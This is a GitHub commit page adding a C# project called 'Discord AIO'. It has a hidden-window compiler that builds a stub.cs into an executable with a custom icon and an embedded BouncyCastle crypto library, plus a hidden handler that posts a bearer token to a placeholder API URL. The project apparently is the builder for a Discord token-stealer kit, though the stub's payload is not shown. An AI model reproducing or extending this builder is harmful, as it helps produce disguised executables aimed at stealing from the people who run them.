Skip to content

Commit

Permalink
Initial
Browse files Browse the repository at this point in the history
  • Loading branch information
danielkasprzak authored Nov 15, 2023
1 parent f05c5dc commit 2085df6
Show file tree
Hide file tree
Showing 15 changed files with 1,976 additions and 0 deletions.
289 changes: 289 additions & 0 deletions App.xaml

Large diffs are not rendered by default.

19 changes: 19 additions & 0 deletions App.xaml.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Data;
using System.Linq;
using System.Net.Http.Headers;
using System.Net.Http;
using System.Threading.Tasks;
using System.Windows;

namespace discord_aio_release
{
/// <summary>
/// Interaction logic for App.xaml
/// </summary>
public partial class App : Application
{
}
}
19 changes: 19 additions & 0 deletions Compiler/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace aiocompiler
{
internal static class Program
{
[STAThread]
static void Main(string[] args)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new daioCompiler(args));
}
}
}
89 changes: 89 additions & 0 deletions Compiler/daioCompiler.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Globalization;
using System.IO;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Windows.Forms;

namespace aiocompiler
{
public partial class daioCompiler : Form
{
private string _TK { get; set; }
private string _DP { get; set; }

public daioCompiler(string[] args)
{
InitializeComponent();
Opacity = 0;
Visible = false;
_TK = args[0];
_DP = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Discord AIO");
Compile(args[1], args[2]);
}

private async void Compile(string output, string icon)
{
try
{
string stubPath = Path.Combine(_DP, "stub.cs");
if (!File.Exists(stubPath))
{
MessageBox.Show("No stub found.");
Environment.Exit(0);
}

string code = File.ReadAllText(stubPath);
string compileOptions = "/target:winexe /platform:anycpu /optimize";

if (icon != "none")
{
compileOptions = compileOptions + " /win32icon:\"" + icon + "\"";
}

CodeDomProvider objCodeCompiler = new Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider();

var parameters = new CompilerParameters()
{
GenerateExecutable = true,
GenerateInMemory = false,
OutputAssembly = output,
CompilerOptions = compileOptions,
TreatWarningsAsErrors = false,
IncludeDebugInformation = false
};
string[] referencedAssemblies = {
"System.dll", "System.Net.dll", "System.Windows.Forms.dll",
"System.Linq.dll", "System.IO.dll",
"System.Collections.dll", "System.Core.dll", "System.Security.dll",
"System.Net.Http.dll", "System.Threading.dll", _DP + "\\BouncyCastle.Crypto.dll"
};

parameters.ReferencedAssemblies.AddRange(referencedAssemblies);
parameters.EmbeddedResources.Add(Path.Combine(_DP, "BouncyCastle.Crypto.dll"));

CompilerResults compResults = objCodeCompiler.CompileAssemblyFromSource(parameters, code);
if (compResults.Errors.HasErrors)
{
MessageBox.Show(string.Format("The compiler has encountered {0} errors", compResults.Errors.Count), "Errors while compiling", MessageBoxButtons.OK, MessageBoxIcon.Hand);
}
else
{
using (HttpClient c = new HttpClient())
{
c.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _TK);
var response = await c.PostAsync("APIURL", null);
}
MessageBox.Show("Compiled.");
}
Environment.Exit(0);
}
catch {}
}
}
}
48 changes: 48 additions & 0 deletions Handler/Form1.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Timers;
using System.Diagnostics;
using System.Net.Http;
using System.Net.Http.Headers;

namespace daioHandler
{
public partial class daioHandler : Form
{
private protected string _TK {get; set;}
public daioHandler(string[] args)
{
InitializeComponent();
this.Opacity = 0;
this.Visible = false;
_TK = args[0];
Start();
}

private void Start()
{
var timer = new System.Timers.Timer(60000);
timer.Elapsed += Tick;
timer.Start();
System.Threading.Thread.Sleep(System.Threading.Timeout.Infinite);
}

private async void Tick(Object source, ElapsedEventArgs e)
{
var processes = Process.GetProcessesByName("Discord AIO");
if (!(processes.Length > 0)) {
HttpClient c = new HttpClient();
c.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", _TK);
var response = await c.PostAsync("APIURL", null);
Environment.Exit(0);
}
}
}
}
22 changes: 22 additions & 0 deletions Handler/Program.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace daioHandler
{
internal static class Program
{
/// <summary>
/// Główny punkt wejścia dla aplikacji.
/// </summary>
[STAThread]
static void Main(string[] args)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new daioHandler(args));
}
}
}
Loading

0 comments on commit 2085df6

Please sign in to comment.